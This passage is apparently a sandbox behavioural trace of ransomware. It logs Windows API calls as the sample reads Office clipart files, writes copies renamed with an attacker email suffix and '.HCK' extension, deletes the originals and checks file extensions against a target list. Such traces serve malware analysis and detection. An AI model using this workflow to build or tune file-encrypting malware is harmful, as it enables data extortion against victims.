lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.735] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.742] GetLastError () returned 0x0 [0170.742] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5398, lpOverlapped=0x0) returned 1 [0170.744] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x53a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x53a0, lpOverlapped=0x0) returned 1 [0170.744] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.745] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.745] SetEndOfFile (hFile=0x370) returned 1 [0170.749] CloseHandle (hObject=0x370) returned 1 [0170.750] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.750] SetEndOfFile (hFile=0x39c) returned 1 [0170.756] CloseHandle (hObject=0x39c) returned 1 [0170.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf")) returned 1 [0170.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0170.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0170.760] lstrlenW (lpString=".doc") returned 4 [0170.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.760] lstrlenW (lpString=".docx") returned 5 [0170.761] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.761] lstrlenW (lpString=".pdf") returned 4 [0170.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.761] lstrlenW (lpString=".xls") returned 4 [0170.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.761] lstrlenW (lpString=".xlsx") returned 5 [0170.761] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.761] lstrlenW (lpString=".ppt") returned 4 [0170.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0170.761] lstrlenW (lpString=".zip") returned 4 [0170.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.761] lstrlenW (lpString=".rar") returned 4 [0170.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.761] lstrlenW (lpString=".bz2") returned 4 [0170.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.761] lstrlenW (lpString=".7z") returned 3 [0170.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0170.761] lstrlenW (lpString=".dbf") returned 4 [0170.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0170.761] lstrlenW (lpString=".1cd") returned 4 [0170.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0170.761] lstrlenW (lpString=".jpg") returned 4 [0170.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0170.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0170.761] lstrlenW (lpString=".doc") returned 4 [0170.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.761] lstrlenW (lpString=".docx") returned 5 [0170.761] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.761] lstrlenW (lpString=".pdf") returned 4 [0170.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.761] lstrlenW (lpString=".xls") returned 4 [0170.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.761] lstrlenW (lpString=".xlsx") returned 5 [0170.761] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.761] lstrlenW (lpString=".ppt") returned 4 [0170.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0170.762] lstrlenW (lpString=".zip") returned 4 [0170.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.762] lstrlenW (lpString=".rar") returned 4 [0170.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.762] lstrlenW (lpString=".bz2") returned 4 [0170.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.762] lstrlenW (lpString=".7z") returned 3 [0170.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0170.762] lstrlenW (lpString=".dbf") returned 4 [0170.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0170.762] lstrlenW (lpString=".1cd") returned 4 [0170.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0170.762] lstrlenW (lpString=".jpg") returned 4 [0170.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.762] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0170.762] lstrlenW (lpString="J0202045.JPG") returned 12 [0170.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.765] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=42254) returned 1 [0170.765] CloseHandle (hObject=0x39c) returned 1 [0170.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg")) returned 0x220 [0170.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.773] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.773] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.779] GetLastError () returned 0x0 [0170.779] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xa50e, lpOverlapped=0x0) returned 1 [0170.784] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xa510, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xa510, lpOverlapped=0x0) returned 1 [0170.785] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.785] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.785] SetEndOfFile (hFile=0x39c) returned 1 [0170.788] CloseHandle (hObject=0x39c) returned 1 [0170.789] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.789] SetEndOfFile (hFile=0x370) returned 1 [0170.795] CloseHandle (hObject=0x370) returned 1 [0170.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg")) returned 1 [0170.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0170.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0170.801] lstrlenW (lpString=".doc") returned 4 [0170.801] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0170.801] lstrlenW (lpString=".docx") returned 5 [0170.801] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0170.801] lstrlenW (lpString=".pdf") returned 4 [0170.801] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0170.801] lstrlenW (lpString=".xls") returned 4 [0170.801] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0170.801] lstrlenW (lpString=".xlsx") returned 5 [0170.801] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0170.801] lstrlenW (lpString=".ppt") returned 4 [0170.801] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0170.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0170.801] lstrlenW (lpString=".zip") returned 4 [0170.801] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0170.801] lstrlenW (lpString=".rar") returned 4 [0170.801] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0170.801] lstrlenW (lpString=".bz2") returned 4 [0170.801] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0170.801] lstrlenW (lpString=".7z") returned 3 [0170.801] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0170.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0170.801] lstrlenW (lpString=".dbf") returned 4 [0170.802] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0170.802] lstrlenW (lpString=".1cd") returned 4 [0170.802] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0170.802] lstrlenW (lpString=".jpg") returned 4 [0170.802] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0170.802] lstrlenW (lpString=".doc") returned 4 [0170.802] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0170.802] lstrlenW (lpString=".docx") returned 5 [0170.802] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0170.802] lstrlenW (lpString=".pdf") returned 4 [0170.802] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0170.802] lstrlenW (lpString=".xls") returned 4 [0170.802] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0170.802] lstrlenW (lpString=".xlsx") returned 5 [0170.802] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0170.802] lstrlenW (lpString=".ppt") returned 4 [0170.802] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0170.802] lstrlenW (lpString=".zip") returned 4 [0170.802] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0170.802] lstrlenW (lpString=".rar") returned 4 [0170.802] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0170.802] lstrlenW (lpString=".bz2") returned 4 [0170.802] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0170.802] lstrlenW (lpString=".7z") returned 3 [0170.802] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0170.802] lstrlenW (lpString=".dbf") returned 4 [0170.802] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0170.802] lstrlenW (lpString=".1cd") returned 4 [0170.802] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0170.802] lstrlenW (lpString=".jpg") returned 4 [0170.802] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0170.802] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.802] lstrlenW (lpString="J0212685.WMF") returned 12 [0170.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.803] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6554) returned 1 [0170.803] CloseHandle (hObject=0x370) returned 1 [0170.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf")) returned 0x220 [0170.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.809] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.810] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.817] GetLastError () returned 0x0 [0170.817] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x199a, lpOverlapped=0x0) returned 1 [0170.819] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x19a0, lpOverlapped=0x0) returned 1 [0170.820] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.820] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.820] SetEndOfFile (hFile=0x30c) returned 1 [0170.821] CloseHandle (hObject=0x30c) returned 1 [0170.823] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.824] SetEndOfFile (hFile=0x39c) returned 1 [0170.828] CloseHandle (hObject=0x39c) returned 1 [0170.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf")) returned 1 [0170.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0170.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0170.832] lstrlenW (lpString=".doc") returned 4 [0170.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.832] lstrlenW (lpString=".docx") returned 5 [0170.832] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0170.832] lstrlenW (lpString=".pdf") returned 4 [0170.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.832] lstrlenW (lpString=".xls") returned 4 [0170.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.832] lstrlenW (lpString=".xlsx") returned 5 [0170.832] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0170.832] lstrlenW (lpString=".ppt") returned 4 [0170.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0170.832] lstrlenW (lpString=".zip") returned 4 [0170.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.832] lstrlenW (lpString=".rar") returned 4 [0170.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.833] lstrlenW (lpString=".bz2") returned 4 [0170.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.833] lstrlenW (lpString=".7z") returned 3 [0170.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0170.833] lstrlenW (lpString=".dbf") returned 4 [0170.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0170.833] lstrlenW (lpString=".1cd") returned 4 [0170.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0170.833] lstrlenW (lpString=".jpg") returned 4 [0170.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0170.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0170.833] lstrlenW (lpString=".doc") returned 4 [0170.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.833] lstrlenW (lpString=".docx") returned 5 [0170.833] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0170.833] lstrlenW (lpString=".pdf") returned 4 [0170.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.833] lstrlenW (lpString=".xls") returned 4 [0170.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.833] lstrlenW (lpString=".xlsx") returned 5 [0170.833] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0170.833] lstrlenW (lpString=".ppt") returned 4 [0170.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0170.833] lstrlenW (lpString=".zip") returned 4 [0170.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.833] lstrlenW (lpString=".rar") returned 4 [0170.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.833] lstrlenW (lpString=".bz2") returned 4 [0170.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.833] lstrlenW (lpString=".7z") returned 3 [0170.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0170.833] lstrlenW (lpString=".dbf") returned 4 [0170.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0170.833] lstrlenW (lpString=".1cd") returned 4 [0170.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0170.834] lstrlenW (lpString=".jpg") returned 4 [0170.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.834] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.834] lstrlenW (lpString="J0213449.WMF") returned 12 [0170.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.841] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3840) returned 1 [0170.841] CloseHandle (hObject=0x370) returned 1 [0170.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf")) returned 0x220 [0170.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.849] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.849] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 